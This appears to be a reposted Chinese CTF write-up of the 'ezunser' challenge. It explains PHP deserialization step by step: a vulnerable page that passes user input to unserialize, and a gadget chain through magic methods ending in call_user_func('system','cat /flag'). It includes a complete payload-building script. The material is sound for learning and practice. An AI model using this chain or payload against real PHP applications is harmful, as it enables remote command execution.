当前位置:   article > 正文

CTF之旅WEB篇(3)--ezunser PHP反序列化

ezunser

一、审题

对方朝你扔过来一串代码(当然这次又是蹭的题只说过程和思路):

  1. <?php
  2. highlight_file(__FILE__);
  3. class A{
  4.     public $name;
  5.     public $age;
  6.     public function __destruct(){
  7.         call_user_func($this->age,'');
  8.     }
  9. }
  10. class AAA{
  11.     public $debug;
  12.     public function __invoke(){
  13.         echo $this->debug;
  14.     }
  15.     public function __toString(){
  16.         return $this->debug;
  17.     }
  18. }
  19. class B{
  20.     public $func;
  21.     public $arg;
  22.     public function backdoor(){
  23.         call_user_func($this->func,$this->arg."");
  24.     }
  25. }
  26. class BBB{
  27.     public $kkk;
  28.     public $lll;
  29.     public function __toString(){
  30.         $this->kkk->backdoor();
  31.         return "ok";
  32.     }
  33. }
  34. if(isset($_GET['a'])){
  35.     unserialize($_GET['a']);
  36. }

好的,一眼又是我们的php反序列化,开审之前我们先复习复习我们的php中的魔术方法,建议先去看一遍我先前的一篇文章:

shutTD的CTF之旅WEB篇(2)--NewStarCTF 公开赛UnserializeOne详解_shutTD的博客-CSDN博客

好的复习完成,我们继续我们的反序列化,首先第一步找出我们的目标函数,也就是这个 call_user_func()函数,这个函数可以执行任意代码,详情使用的方法建议直接去查,在这我们的最终目的就是要执行到call_user_func('system','cat /flag') (至于为什么直接执行cat /flag,问就是经验哈哈,不过还是可以通过ls等命令查看找出flag的位置)

 二、找到反序列化入口,从入口延申向下

在A类中发现__destruct(),所以这就是我们的入口,因此我们第一步实例化一个A的对象:

$res = new A();

跟进__destruct():

  1.   public function __destruct(){
  2.         call_user_func($this->age,'');
  3.     }

call_user_func($this->age,'')即执行age类的某个方法,所以我们很自然的想到__invoke()方法,所以我们在AAA类中发现该方法,因此我们的第二步就是:

$res->age = new AAA();

跟进__invoke():

  1. public function __invoke(){
  2.         echo $this->debug;
  3.     }

看到echo我们直接想到能够触发__toString()方法,所以我们在BBB类中发现有__toString()方法,因此我们第三步就是:

$res->age->debug = new BBB();

跟进__toString():

  1. public function __toString(){
  2.         $this->kkk->backdoor();
  3.         return "ok";
  4.     }

发现调用了kkk属性的backdoor()方法,我们搜索一下哪个类中有此方法,在B类中我们发现此方法且刚好我们的目标函数就在这其中,马上就快到终点了,所以我们第四步就是:

$res->age->debug->kkk = new B();

三、调整思路,编写脚本

因为我们需要达到call_user_func('system','cat /flag'),所以我们的类B中属性应为:

  1. class B{
  2.     public $func = 'system';
  3.     public $arg = 'cat /flag';
  4.     public function backdoor(){
  5.         call_user_func($this->func,$this->arg."");
  6.     }
  7. }

好的大功告成,开始编写脚本:

  1. <?php
  2. class A{
  3. public $name;
  4. public $age;
  5. }
  6. class AAA{
  7. public $debug;
  8. }
  9. class B{
  10. public $func='system';
  11. public $arg='cat /flag';
  12. }
  13. class BBB{
  14. public $kkk;
  15. public $lll;
  16. }
  17. $res=new A();
  18. $res->age=new AAA();
  19. $res->age->debug=new BBB();
  20. $res->age->debug->kkk=new B();
  21. echo serialize($res);

直接参数a等于序列化字符get提交即可获取flag啦!

四、总结

总的来说这道题思路还是很清晰的,是算偏易的题了不过新手拿来练手还是可以的逻辑很清晰,建议看完这篇文章后自己再试着做一遍哦!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/喵喵爱编程/article/detail/900714?site
推荐阅读
相关标签
  

闽ICP备14008679号